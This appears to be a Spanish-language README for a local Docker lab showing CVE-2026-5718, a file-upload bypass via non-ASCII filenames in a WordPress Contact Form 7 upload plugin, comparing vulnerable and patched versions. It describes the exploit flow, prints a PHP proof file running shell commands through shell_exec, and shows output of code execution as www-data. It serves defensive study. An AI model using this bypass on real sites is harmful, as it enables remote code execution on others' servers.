
Laboratorio Docker local que demuestra la carga arbitraria de archivos CVE-2026-5718 en un complemento de WordPress, con servicios vulnerables y parcheados para el análisis de explotación y defensa en paralelo.
Laboratorio Docker local de solo vulnerable vs parcheado para CVE-2026-5718, que afecta al plugin de WordPress Drag and Drop Multiple File Upload for Contact Form 7.
Este laboratorio demuestra la diferencia entre la versión vulnerable 1.3.9.6 y la versión parcheada 1.3.9.7 utilizando una prueba de ejecución PHP de mínimo impacto dentro de un entorno exclusivamente Docker.
Alcance: solo localhost / red Docker. No utilice este PoC contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito de prueba.
CVE-2026-5718 es una vulnerabilidad de subida arbitraria de archivos en Drag and Drop Multiple File Upload for Contact Form 7 hasta la versión 1.3.9.6 inclusive.
El problema se desencadena cuando se configuran tipos de lista negra personalizados y un nombre de archivo contiene caracteres no ASCII. En la versión vulnerable, una subida peligrosa de .php puede omitir la protección prevista y permanecer ejecutable. La versión 1.3.9.7 corrige el problema rechazando la misma subida.
Este repositorio ejecuta dos servicios locales de WordPress:
vuln en http://localhost:8081 con la versión 1.3.9.6 del pluginpatched en http://localhost:8082 con la versión 1.3.9.7 del pluginHost
├── http://localhost:8081 -> servicio WordPress vulnerable
└── http://localhost:8082 -> servicio WordPress parcheado
Red Docker
├── vuln
├── vuln-db
├── patched
└── patched-db
| Servicio | Propósito | Puerto del host | Versión |
|---|---|---|---|
vuln | Laboratorio WordPress vulnerable | 8081 | Plugin 1.3.9.6 |
patched | Laboratorio WordPress parcheado | 8082 | Plugin 1.3.9.7 |
vuln-db | Base de datos MySQL para el servicio vulnerable | interno | MySQL 8.0 |
patched-db | Base de datos MySQL para el servicio parcheado | interno | MySQL 8.0 |
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
El formulario de Contact Form 7 precargado contiene un campo Drag and Drop Multiple File Upload:
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
El PoC sube un archivo de prueba PHP llamado:
proof-β.php
El carácter β no es ASCII. Esto es importante porque la vulnerabilidad depende del manejo del nombre de archivo para entradas no ASCII.
Flujo de alto nivel:
PoC
↓
Obtiene la página del laboratorio y extrae el nonce AJAX del DnD CF7
↓
Sube proof-β.php a través de wp-admin/admin-ajax.php
↓
La versión vulnerable 1.3.9.6 acepta y almacena el archivo como .php
↓
El PoC solicita el archivo subido
↓
El laboratorio vulnerable ejecuta la prueba PHP como www-data
Flujo parcheado:
PoC
↓
Sube el mismo archivo proof-β.php
↓
La versión parcheada 1.3.9.7 rechaza la subida
↓
No se almacena ningún archivo PHP y no se produce ejecución de código
La prueba PHP subida es intencionalmente mínima:
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
La prueba solo ejecuta whoami e id para mostrar el contexto de ejecución. No utiliza una reverse shell, persistencia, acceso a credenciales, movimiento lateral, escaneo de red ni acciones destructivas.
El servicio vulnerable permite intencionalmente la ejecución de PHP en el directorio de subida del plugin para que el impacto sea observable en este laboratorio local. El servicio parcheado mantiene el comportamiento más seguro y rechaza la subida en la capa de validación de la aplicación.
Instale las dependencias de Python:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
Comience desde un estado limpio:
docker compose down -v
docker compose up --build -d
Compruebe el estado de los servicios:
docker compose ps
Abra las páginas del laboratorio:
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
Ejecute contra el servicio vulnerable:
python poc/poc.py --base-url http://localhost:8081
Ejecute contra el servicio parcheado:
python poc/poc.py --base-url http://localhost:8082
El PoC solo acepta objetivos localhost o loopback.
Comportamiento esperado:
.php.Ejemplo de salida:
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
Comportamiento esperado:
Ejemplo de salida:
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
Este laboratorio está restringido intencionalmente a pruebas locales.
El PoC:
whoami e id dentro del contenedor vulnerable.El servicio vulnerable relaja la ejecución de PHP en el directorio de subida solo para hacer observable la prueba local. No copie esa configuración a producción.
Detenga los contenedores:
docker compose down
Elimine contenedores y volúmenes:
docker compose down -v
Elimine el entorno virtual de Python:
rm -rf .venv
NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
Aviso de Patchstack: WordPress Drag and Drop Multiple File Upload for Contact Form 7 Plugin <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability
Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass
Base de datos de avisos de GitHub: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w
Página del plugin en WordPress.org: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
Página del proveedor del plugin: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/
Este repositorio es solo para investigación educativa y defensiva de seguridad. Está diseñado para ejecutarse únicamente en localhost mediante Docker. No utilice el PoC contra sistemas públicos o de terceros.